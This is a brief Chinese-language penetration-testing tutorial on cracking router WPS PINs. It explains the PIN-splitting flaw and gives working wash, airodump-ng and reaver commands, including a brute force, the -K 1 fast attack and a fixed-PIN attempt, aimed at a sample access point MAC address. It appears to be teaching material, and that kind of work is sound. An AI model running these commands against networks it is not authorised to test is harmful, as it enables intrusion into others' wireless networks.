Kali linux 渗透测试（五）——渗透WPS攻击

WPS（wireless protected setup）
wifi联盟2006年开发的技术，路由器和网卡各按一个键就能接入无线，PIN码分为前后两段各4位
1、安全漏洞
2011年发现接入发起方可以根据路由器的返回信息判断前四位是否正确
后四位穷举，最后一位是校验位，只要1000次尝试
PSK： 218,340,105,584,896总共11000次尝试可以破解PIN码，得到无线密码
不过现在很多厂家实现了锁定机制一分钟只能尝试有限次数，但是一般一天左右能够破解

wash -i wlan0mon -c 11#启动侦听，发现支持WPS的AP，-c指定信道11
airodump-ng wlan0mon --wps #抓包
reaver -i wlan0mon -b 14:75:90:21:4F:56 -vv -c 11#爆破PIN码，-b指定AP的MAC，-vv说明详细显示信息
reaver -i wlan0mon -b 14:75:90:21:4F:56 -vv -c 11 -K 1 #针对有漏洞的，妙破，可以先尝试
reaver -i wlan0mon -b 14:75:90:21:4F:56 -vv -c 11 -p 88888888 #-p指定PIN码

3.实验

WPS安全性很低
破解很快偏偏好些路由器自带